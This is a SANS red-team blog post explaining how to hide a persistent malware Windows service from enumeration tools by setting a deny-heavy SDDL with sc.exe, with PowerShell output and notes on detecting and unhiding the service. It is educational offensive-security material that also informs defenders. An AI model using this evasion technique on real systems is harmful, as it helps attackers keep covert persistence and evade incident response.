SANS

Contact Sales

Joshua Wright

Red Team Tactics: Hiding Windows Services

A little known feature of Windows allows attackers to hide persistent services from view, creating an opportunity to evade threat hunting detection.

October 13, 2020

> A little known feature of Windows allows the red team or an attacker to hide services from view, creating an opportunity to evade detection from common host-based threat hunting techniques.

In a recent red team engagement, my team was up against some well-trained, sophisticated defenders. We built custom malware to evade the anticipated EDR platforms, but we knew host analysis would eventually get us caught and quickly pulled from the target organization.

```
PS C:\WINDOWS\system32> Get-Service -Name SWCUEngine

Status   Name               DisplayName
------   ----               -----------
Running  SWCUEngine         SWCUEngine
```

Taking notes from several advanced threat groups, we will use common service names that could be overlooked to try and blend into a system while maintaining persistence on the host. Here, *SWCUEngine* is our malware, shallowly pretending to be the AVAST software cleanup engine. While this might escape casual inspection, in an exercise where the defenders are actively hunting for the presence of the red team, this is probably going to get us caught.

So, we decided to tie on a bit of extra difficulty.

```
PS C:\WINDOWS\system32> & $env:SystemRoot\System32\sc.exe sdset SWCUEngine "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPD
[SC] SetServiceObjectSecurity SUCCESS
PS C:\WINDOWS\system32> Get-Service -Name SWCUEngine
Get-Service : Cannot find any service with service name 'SWCUEngine'.
At line:1 char:1
+ Get-Service -Name SWCUEngine
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ObjectNotFound: (SWCUEngine:String) [Get-Service], ServiceCommandException
    + FullyQualifiedErrorId : NoServiceFoundForGivenName,Microsoft.PowerShell.Commands.GetServiceCommand
```

Windows services support the ability to control service permissions using the *Service Descriptor Definition Language* (SDDL). As administrators, we normally don't have to change the SDDL syntax of service permissions manually, but through careful manipulation an attacker can hide their presence in a running service. In this example, the imposter SWCUEngine service becomes mostly invisible to the blue team defenders.

The SDDL syntax is a little *obtuse*, but breaks down into the following elements:

```
D: - Set the Discretionary ACL (DACL) permissions on the service
```

```
(D;;DCLCWPDTSD;;;IU) - Deny Interactive Users the following permissions:
  DC - Delete Child
  LC - List Children
  WP - Write Property
  DT - Delete Tree
  SD - Service Delete
```

This SDDL block is repeated for services (SU) and administrators (BA) as well. A (allow) permissions follow, inheriting the default permissions for services. Special thanks to Wayne Martin and Harry Johnston for their articles on decoding SDDL permissions.

By making this change to the service, the persistence mechanism is hidden from the defenders. Neither `services.exe`, `Get-Service`, `sc query` nor any other service control tool I'm aware of will enumerate the hidden service.

```
PS C:\WINDOWS\system32> Get-Service | Select-Object Name | Select-String -Pattern 'SWCUEngine'
PS C:\WINDOWS\system32> Get-WmiObject Win32_Service | Select-String -Pattern 'SWCUEngine'
PS C:\WINDOWS\system32> & $env:SystemRoot\System32\sc.exe query | Select-String -Pattern 'SWCUEngine'
PS C:\WINDOWS\system32
```

If the defender knows the name of the service in advance, they can identify the service presence by attempting to stop it. In this example, the service `JoshNoSuchService` does not exist, while `SWCUEngine` exists and is hidden:

```
PS C:\WINDOWS\system32> Set-Service -Name JoshNoSuchService -Status Stopped
Set-Service : Service JoshNoSuchService was not found on computer '.'.
At line:1 char:1
+ Set-Service -Name JoshNoSuchService -Status Stopped
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ObjectNotFound: (.:String) [Set-Service], InvalidOperationException
    + FullyQualifiedErrorId : InvalidOperationException,Microsoft.PowerShell.Commands.SetServiceCommand

PS C:\WINDOWS\system32> Set-Service -Name SWCUEngine -Status Stopped
Set-Service : Service 'SWCUEngine (SWCUEngine)' cannot be configured due to the following error: Access is de
At line:1 char:1
+ Set-Service -Name SWCUEngine -Status Stopped
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : PermissionDenied: (System.ServiceProcess.ServiceController:ServiceController) [
   ServiceCommandException
    + FullyQualifiedErrorId : CouldNotSetService,Microsoft.PowerShell.Commands.SetServiceCommand
```

If you know the name of the service that is hidden, then you can *unhide* it again:

```
PS C:\WINDOWS\system32> & $env:SystemRoot\System32\sc.exe sdset SWCUEngine "D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;
[SC] SetServiceObjectSecurity SUCCESS
PS C:\WINDOWS\system32> Get-Service -Name 'SWCUEngine'

Status   Name               DisplayName
------   ----               -----------
Running  SWCUEngine         SWCUEngine
```

On the red team, this can be a useful technique to preserve persistence on a compromised host. The hidden service will autostart after a reboot as well.

In the next article, my colleague and trusted defense analyst Jon Gorenflo will present defense options for detection and enumeration. Stay tuned!

Tags: Penetration Testing and Red Teaming

Related Content

Blog

SANS
CYBER THREAT INTELLIGENCE
SUMMIT & TRAINING 2024
SUMMIT
JAN 29-30
COURSES
JAN 31-FEB 5
IMPROVE YOUR THREAT INTELLIGENCE CAPABILITIES
JOIN US!
WASHINGTON, DC
ALL-ACCESS $4,26
OR
FREE LIVE ONLINE
SELECT TALKS & CONTENT
CTI SOLUTIONS TRACK WITH ISMAEL VALENZUELA
CONNECT WITH CTI COMMUNITY IN SLACK
RICK HOLLAND
SUMMIT CHAIRS
FUN SOCIAL EVENTS & NETWORKING
ENJOY ALL TALKS, WORKSHOPS & CONTENT
SOLUTIONS EXPO, MERCH, & MORE!
REBEKAH BROWN
KATIE NICKELS
REGISTER TODAY!
SANS.ORG/CTI-SUMMIT

Cyber Defense, Digital Forensics, Incident Response & Threat Hunting, Industrial Control Systems Security, Penetration Testing and Red Teaming

· January 29, 2024

A Visual Summary of SANS CTI Summit 2024

Check out these graphic recordings created in real-time throughout the event for SANS CTI Summit 2024

Alison Kim

Blog

Offensive Operations, Pen Testing, and Red Teaming, Open-Source Intelligence (OSINT), Penetration Testing and Red Teaming

· November 16, 2023

A Visual Summary of SANS HackFest Summit

Check out these graphic recordings created in real-time throughout the event for SANS HackFest Summit 2023

Alison Kim

Blog

Offensive Operations, Pen Testing, and Red Teaming, Penetration Testing and Red Teaming · October 4, 2023

SEC670 Prep Quiz Answers

Answers for the SEC670 Prep Quiz. For more details about the course and the quiz, please clickthrough to see the quiz article.

Jonathan Reiter

Recommended Training

SEC401: Security Essentials - Network, Endpoint, and Cloud™

SEC660: Advanced Penetration Testing, Exploit Writing, and Ethical Hacking™

SEC560: Enterprise Penetration Testing™

Subscribe to SANS Newsletters

Receive curated news, vulnerabilities, & security awareness tips

Your Email...

Select your country

By providing this information, you agree to the processing of your personal data by SANS as described in our Privacy Policy.

☑ SANS NewsBites
☑ @Risk: Security Alert
☑ OUCH! Security Awareness

This site is protected by reCAPTCHA and the Google Privacy Policy and Terms of Service apply.

Subscribe

Register to Learn

Courses

Certifications

Degree Programs

Cyber Ranges

Job Tools

Security Policy Project

Posters & Cheat Sheets

White Papers

Focus Areas

Cyber Defense

Cloud Security

Cybersecurity Leadership

Digital Forensics

Industrial Control Systems

Offensive Operations

Privacy Policy   Terms and Conditions   Do Not Sell/Share My Personal Information   Contact   Careers